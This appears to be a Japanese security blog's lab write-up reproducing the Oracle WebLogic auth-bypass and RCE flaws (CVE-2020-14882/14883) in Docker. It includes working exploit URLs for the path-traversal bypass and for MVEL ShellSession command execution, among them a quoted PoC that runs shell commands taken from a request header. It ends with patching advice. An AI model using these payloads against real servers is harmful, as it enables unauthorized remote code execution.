セキュリティ猫の備忘録

セキュリティに関する事柄を備忘録として記していく

【やってみた】Oracle WebLogic Serverの認証バイパスとRCEの脆弱性(CVE-2020-14882、CVE-2020-14883)を体験してみた

こんにちは、セキュリティ猫です。

今回の「やってみた」シリーズは、脆弱性の検証を行ってみたいと思います。

はじめに

今回検証する脆弱性は、Oracle社のWebアプリケーションサーバ製品であるWeblogic Serverの脆弱性(CVE-2020-14882、CVE-2020-14883)です。

脆弱性は、Oracle社が10月20日に公開した脆弱性のうちCVE-2020-14882、CVE-2020-14883を組み合わせることで本来必要である認証をバイパスして任意のコードを実行する*1ことができるものです。

脆弱性については、10月28日にPoCコード*2が公開されています。
また、PoCコード公開以降に複数の組織で本脆弱性を利用した攻撃が観測されており、注意喚起が出ています*3






CVE-2020-14882、CVE-2020-14883について

脆弱性は、Oracle WebLogic Serverにおいて遠隔の攻撃者がサーバの実行権限で任意のコードを実行する(RCE)脆弱性になります。

共通脆弱性評価システム CVSS ( Common Vulnerability Scoring System) のv3.1

脆弱性のCVSSスコアは以下の通りです。

CVE スコア 備考
CVE-2020-14882 9.8 緊急 遠隔からのコード実行可能な脆弱性
CVE-2020-14883 7.2 高 認証をバイパスする脆弱性

影響を受けるシステム

脆弱性の影響を受けるシステム・バージョンは以下の通りです。

システム バージョン
Oracle WebLogic Server 10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

上記バージョンのWebLogic Serverを利用し尚且つ、

  • 管理コンソール(/console、デフォルトでは7001/tcpで稼働)へのアクセスが可能

の場合、攻撃が成功する恐れがあります。

CVE-2020-14750について

当初Oracle社がCVE-2020-14882、CVE-2020-14883のパッチを適応することで本脆弱性への対処ができるはずでした。
しかしながら、セキュリティ研究者によってこのパッチが不完全であり、パッチを当ててもバイパスされることが指摘されました。

「IllegalUrl」でパターンマッチングを行い、 CVE-2020-14882、CVE-2020-14883で使用されるURLを使えないようにするはずなのですが、パターンに漏れがあり、例えば「%252E%252E」はパターンにマッチしますが、「%252e%252e」のように小文字の場合はパターンに含まれておらず、CVE-2020-14882、CVE-2020-14883での攻撃が成立してしまいます。

そこでOracle社は定期外のセキュリティアップデートを公開しました。

Oracle Security Alert - CVE-2020-14750

環境構築

CVE-2020-14882、CVE-2020-14883の検証を行うためにまずは、WebLogic Serverの環境を構築します。

GitHubOracleが公開しているDockerのイメージがあるので、このイメージを利用して検証を行います。

Oracle公式のDockerイメージをダウンロード

1.次のGitHubからDockerfileをダウンロード。

または、gitコマンドを利用してダウンロード。

git clone --depth 1 https://github.com/oracle/docker-images

2.パス入力を省略するために、以下を実行。

export WLS_DOCKER_DIR=`pwd`/docker-images

これで今後 docker-images/のパスは$WLS_DOCKER_DIRで表現することができます。

Oracle JDK(Server JRE)ベースイメージの構築

WebLogic Serverの構築にはまず、OracleServer JREバイナリをフォルダにダウンロードして、そのイメージをビルドする必要があります。

1.以下のサイトから、server-jre-8u271-linux-x64.tar.gzをダウンロードし、$WLS_DOCKER_DIR/OracleJava/8に配置します。
Server JRE (Java SE Runtime Environment) 8 Downloads

f:id:nekochanSecurity555:20201112172925p:plain
tar.gzファイルの配置

2.配置後、イメージをビルドします。

cd $WLS_DOCKER_DIR/OracleJava/8
sh build.sh

ビルドの際に、以下のように名前解決できないエラーが発生することがあります。

f:id:nekochanSecurity555:20201112173311p:plain
dockerの名前解決エラー

その場合は、firewall-cmdコマンドで穴あけが必要になります。

firewall-cmd --permanent --zone=trusted --change-interface=docker0
firewall-cmd --reload

その後、順調に構築できれば、下図のように「oracle/serverjre:8」のタグでイメージが作成されます。

f:id:nekochanSecurity555:20201112173937p:plain
Oracle JDK(Server JRE)ベースイメージの構築完了

WebLogicDockerインストールイメージの構築

続いて、WebLogic ServerのDockerイメージを構築します。

1.以下のサイトから、WebLogicバイナリをダウンロードします。
Free Oracle WebLogic Server 12c (12.2.1) Installers for Development

今回は、Oracle WebLogic Server 12.2.1.3Genericfmw_12.2.1.3.0_wls_Disk1_1of1.zip)を利用します。
ここでは、Genericを利用しますが、Quick Installer for Mac OSX, Windows and Linuxfmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip)でも構いません。ただし、Genericを利用するかQuick Installer for Mac OSX, Windows and Linuxを利用するかでイメージビルドの際に利用するオプションが異なります。

2.ダウンロードしたzipファイルを$WLS_DOCKER_DIR/OracleWebLogic/dockerfiles/12.2.1.3/に配置します。

3.$WLS_DOCKER_DIR/OracleWebLogic/dockerfiles/に移動し、WebLogicDockerイメージをビルドする。

cd $WLS_DOCKER_DIR/OracleWebLogic/dockerfiles

# Genericを利用する場合
sh buildDockerImage.sh -v 12.2.1.3 -g
# Quick Installer for Mac OSX, Windows and Linuxを利用する場合
sh buildDockerImage.sh -v 12.2.1.3 -d

WebLogicドメイン作成

続いて、WebLogicイメージを拡張するカスタムDockerfileからドメインを作成します。

cd $WLS_DOCKER_DIR/OracleWebLogic/samples/12213-domain

#Genericを利用する場合Dockerfileの編集
#developer→genericに変更
#FROM oracle/weblogic:12.2.1.3-developer
FROM oracle/weblogic:12.2.1.3-generic

#$WLS_DOCKER_DIR/OracleWebLogic/samples/12213-domain/properties//domain.properties
#上記ファイルの”DOMAIN_HOST_VOLUME”の値を自身の環境に合わせる
#DOMAIN_HOST_VOLUME=/Users/host/temp
DOMAIN_HOST_VOLUME=/host/temp

#build
docker build -f Dockerfile -t 12213-weblogic-domain-in-volume .

#イメージ確認
docker images

ビルドに成功した場合、以下のように12213-weblogic-domain-in-volumeのタグを持つDockerイメージが作成されている。

f:id:nekochanSecurity555:20201112194827p:plain
作成したDockerイメージを確認

管理サーバーコンテナを実行

次のコマンドを実行してWebLogic管理サーバーコンテナを起動する。

sh run_admin_server.sh

すると、下図のようにエラーが出ます。

f:id:nekochanSecurity555:20201112195509p:plain
管理サーバーコンテナの実行

どうやら、ポート指定のオプションでエラーが出ているようです。「-p 9002:」が正しい指定ではないのが原因のようです。ソースを読んでいくと、「ADMINISTRATION_PORT」が設定されていないことが原因のようですが、ソースコードを見る限りデフォルトでは設定されていないので、ソースコードに追加するか、または「-p 9002:」の箇所を消して実行するほうがよさそうです。

今回は「-p 9002:」を消して実行しました。

docker psコマンドでコンテナの稼働状況を確認すると、9001ポートでWebLogic Serverが稼働していることが確認できます。

f:id:nekochanSecurity555:20201112200752p:plain
WebLogic Dockerコンテナ

ブラウザを利用して、次のURLにアクセスするとコンソール画面に遷移しました。

http://<IP address>:9001/console
f:id:nekochanSecurity555:20201112201209p:plain
WebLogicコンソール画面

検証

WebLogicの検証環境ができたので、いよいよCVE-2020-14882、CVE-2020-14883を検証したいと思います。

脆弱性は、認証をバイパスして本来は認証が必要なページにアクセスできることができ、また、任意のコードが実行可能な脆弱性になっています。
認証が必要ないページから特殊な文字コードを利用してディレクトリトラバーサルを行うことで認証をバイパスすることができます。

ブラウザで以下のURLにアクセスします。
ここでの192.168.0.1はWebLogicが稼働しているIPアドレスになります。

http://192.168.0.1:9001/console/images/%252E%252E%252Fconsole.portal
#%252E = 「.」 %252F = 「/」を表している。
#http://192.168.0.1:9001/console/images/../console.portal

すると、認証がバイパスされて下図のコンソールページにアクセスすることができました。

f:id:nekochanSecurity555:20201112203134p:plain
WebLogic管理コンソールへの認証バイパス

では、任意のコードが実行が可能か確認してみます。

http://192.168.0.1:9001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('cat /etc/passwd');")
#cat /etc/passwdを実行
f:id:nekochanSecurity555:20201112203523p:plain
エラーページ

。。。。。。。あれ? 実行できない?(´Д`;)

いくつかのPoCを確認したところ、実行しているコードが「calc.exe」のように、WebLogicサーバー内部でコードの実行を確認しているものが多いことに気づきました。
また、以下のPoCのようにipconfigを実行しているものもありましたが、次のようにJavaのメソッドを利用して出力しています。

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

GitHub - jas502n/CVE-2020-14882: CVE-2020–14882、CVE-2020–14883

つまり、この脆弱性を利用した任意のコードの実行結果はレスポンスで返ってこないようです。

なので以下の実行してみて、ファイルが作成されるかで確かめてみました。

http://192.168.0.1:9001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/exploit');")
#/tmp/exploitを作成

すると、/tmpディレクトリにexploitファイルができているのを確認できました。

f:id:nekochanSecurity555:20201112204924p:plain
touch /tmp/exploitの実行

このように、脆弱なバージョンのWebLogicを利用しており、管理コンソールへのアクセスが可能な場合、任意のコードが実行可能であることを確認しました。

調査

では、実際に本脆弱性を被害を受ける可能性のあるサーバーはどのぐらいあるのでしょうか。

Shodan*4Oracle WebLogic Serverの稼働状況を調べてみましょう。

f:id:nekochanSecurity555:20201112095224p:plain
7001/tcpが開いているWebLogic Server(世界)

すると、7001/tcpが開いているWebLogic Serverが全世界で約3,000件見つかりました。

では、約3,000件のうち日本にはどのくらいのサーバーがあるのでしょうか。

f:id:nekochanSecurity555:20201112095503p:plain
7001/tcpが開いているWebLogic Server(日本)

検索した結果、25件見つかりました。
つまり、管理コンソールに接続可能なWebLogic Serverが上で示したバージョンを利用していた場合、攻撃が成功する恐れがあります。*5

おわりに

いかがでしたでしょうか。
WebLogic Serverを公開しており、尚且つ管理コンソールへのアクセスが可能な場合、本脆弱性による被害を受ける可能性があります。
自組織・個人でWeblogicを利用している方は、パッチを当てることをお勧めします。また、すぐにパッチを当てることができない場合は、管理コンソールへのアクセス制限をかけてください。

簡単な脆弱性の検証でしたが、今後もこう言ったことを続けていきたいと思います。

それでは、ここまで拙い文章を読んでいただきありがとうございました。

【更新履歴】
2020/11/12 PM 公開

*1:遠隔(主にNWを介して)から任意のコードが実行することをRCE(Remote Code Execution))といいます

*2:Proof of Conceptの略で、日本語では「概念実証」という。脆弱性を利用した攻撃が可能であることの証明するためにセキュリティ研究者などが公開しています。PoCを語る偽物などもあるため見極めることも重要。

*3:PoCコードの公開は、脆弱性による攻撃が可能であることを証明や注意喚起にもなりますが、その一方、PoCコードを悪用して(改造して)攻撃に利用される場合もあるため、PoCコード公開後はその脆弱性についてより一層の警戒が必要になる

*4:Shodanとは、インターネットに接続しているデバイスを検索する事ができる検索エンジンのこと。WebサーバやWebカメラ、IoT機器、制御システムを検索することができる。

*5:今回Shodanで見つかったのはあくまでShodanから見ることができるWebLogic Serverだけになります。デフォルトポートを変えていたり、Shodanの検索では見れないようアクセスコントールしているサーバーもあると思われます。